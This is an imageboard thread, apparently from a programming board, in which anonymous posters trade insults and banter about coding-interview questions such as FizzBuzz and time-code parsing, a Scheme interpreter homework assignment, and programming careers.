Shouldn't that be *= 13? I think he did a *= 13. I am not sure why, however.

>this should be interesting

Where will you be streaming?

On Youtube

However, I will do a /diy/ thread first on building the computer

I am not looking for the next Carmack. Just proving that you can do some intermediate programming tasks would be sufficient. I have not actually thought of anything beyond "count down from 700 to 200 in decrements of 13", because I have not had candidates pass that yet.

Let me spruce that up a bit.

I know how to do the buzz but I could probably figure out the second one with googling since I've never worked with time codes before. What's wrong with that?

>tfw too intellectual for /dpt/ to be able to help me

it's just parsing the string and adding minutes*60 etc

do your own homework, kiddo

An exact and perfectly working solution is not required. This is an interview, you will be solving things on a paper.

You just need to show that you understand the solution algorithm, even if the syntax for it is not at your fingertips.

tell us some more advanced questions please

average two ints in C

Well I know how to do it after seeing what the format looked like, you just do a *60 and *3600 to two of the numbers but I originally thought that time code was month year day and time. Would interviewers tell you what the thing looked like?

>because I have not had candidates pass that yet.
I am not sure if I should be optimistic or pessimistic. On one hand, if a good portion of my competition in the workplace is total retards, my actual experience (though I have not a ton to show for it aside from my degree) may be more valuable. On the other hand, too many idiot programmers means that a lot of the infrastructure that I will be working with is going to be built and maintained by idiots.

A halfwit could do FizzBuzz even without knowledge of the modulo operator. Just store the remainder as a separate variable that is incremented, and reset every time it hits 3 or 5. As long as you know how to use variable assignment, for loops, if statements, and basic arithmetic (literally just + and -), the problem is trivial.

What is your problem?

>sorry I dont watch animu
>walk the dinosaur

I have none.

...maybe I should look into that.

>A programmer walks into an interview.
>IT IS A MIRACLE! IQ IS MORE THAN 60!
>Unlike the previous 199 applicants, this programmer CAN do FizzBuzz!
>What do you ask now?
I have no idea. Will look into it now.

>If you can do fizzbuzz, you are hired
And people are saying Haskell fags are unemployable. I can show you a million fizzbuzz implementations

>he can't average two ints in C
user...

To be fair, if someone had an IQ of more than 60!, then they would likely have better things to do than web development.

>haskell fag thinks being able to write fizzbuzz is an accomplishment

why in c? c is for nerds

>Would interviewers tell you what the thing looked like?
They might, or might not. The point is not just to test your "dry" skill, but to also see how well you can think on your feet, in cases of ambiguity.

I remember reading about an interview technique where they ask a general question with an open solution: "A restaurant is failing, and you are hired to help. What do you do first?" Then, whatever answer you give, they will say: "And if you cannot do that, what will you do instead?"

People can memorize FizzBuzz without understanding it. Companies want employees who can think, not just memorize!

var time = hours:minutes:seconds;

var temp = time.split(":"); (or explode or w/e the js one is)
console.log(temp[0]*60*60 + temp[1]*60 + temp[2]);

really not hard

It was a joke

You fucking idiot

it just has more functionality and ease of use. I think it's almost at a point that it can replace Skype entirely.

Also I've just been messing with stream io and getting back into C++

...

you are only proving my point, nerd

>i was only pretending

Upvoted.

I dunno, the work is easy and I get paid big bucks. Wtf do you do?

(You)

Unless the tasks the company is going to give require Haskell, then knowing Haskell on its own is not enough.

People will hire you to get the job done. If the job revolves around Java, then you need to know Java.

...

>What is your problem?
it's making a scheme interpreter in scheme. the instructions have us do it piecemeal, adding small bits of functionality

first, a number is evaluated to itself, and then we added cases like (plus 1 2) to read the head of the list and perform that operation on the tail parameters

then we added if capability

then we added an environment, which is another list separate from the expression that is a parameter to the evaluation function, and contains associations between symbols and values. so (evaluate 'y '(y 5)) results in 5, because y is 5 in the environment.

the next part was tricky and it allowed the evaluator to interpret (let (x y) e) where x is associated to y in the environment, and e is then evaluated. i managed to get this working, except for when y is a function itself.

this next part i'm stumped, pic related. i have no idea what to do. genuinely 0 clue. it might be because it's late. i suspect it has something to do with lambda, but i don't see what that would work within this context

>60!
>8.32e81

>yuru yuri

>If the job revolves around Java, then you need to know Java.
No worries there.
If the job revolved around Java, I would not have applied.

>making a scheme interpreter in scheme
I don't know scheme but something like
(eval (quote (...)))

*tips*

NEW THREAD NEW THREAD NEW THREAD NEW THREAD

You know, it's interesting. My Artificial Intelligence professor for this quarter is offering the class the choice of what language we will be using to implement our assignments in, so long as we can come to a consensus. Our options are C, C++, Java, and Python. She is hoping we will be choosing C, however, because it is her favorite language... I wouldn't call her a nerd per se, even if her passion is robotics.

Right now, I'm starting my research project for my master's degree. I highly doubt that you have an IQ of above 60!, however, so it's somewhat of a moot point.

nerds are not accomplished people but neets on g acting as if they are the hot shit because they can fizzbuzz in c

What's your opinion on Scala?

Shit

>Right now, I'm starting my research project for my master's degree
Oh you mean that worthless piece of paper?

8,320,987,112,741,390,144,276,341,183,223,364,380,754,172,606,361,245,952,449,277,696,409,600,000,000,000,000, to be precise.

A worthless paper that may be able to get me a job in software security.

Yeah maybe if you know who's cock to suck. We actually recently interviewed a guy who has a masters in cybersecurity. He didn't even know what CSRF was and couldnt even finish the coding test.

But good luck, friend.